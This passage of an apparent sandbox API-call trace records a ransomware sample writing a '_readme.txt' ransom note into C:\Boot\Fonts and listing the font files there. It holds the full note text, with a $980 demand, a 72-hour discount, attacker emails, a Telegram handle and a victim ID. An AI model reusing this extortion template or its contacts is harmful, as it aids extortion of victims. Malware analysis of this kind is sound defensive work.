hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.262] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0266.262] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.262] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.262] PathFindFileNameW (pszPath="") returned="" [0266.262] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.263] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.263] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.263] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.263] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0266.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.263] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0266.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.265] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.265] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.265] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.265] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.265] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0266.266] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.266] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.268] 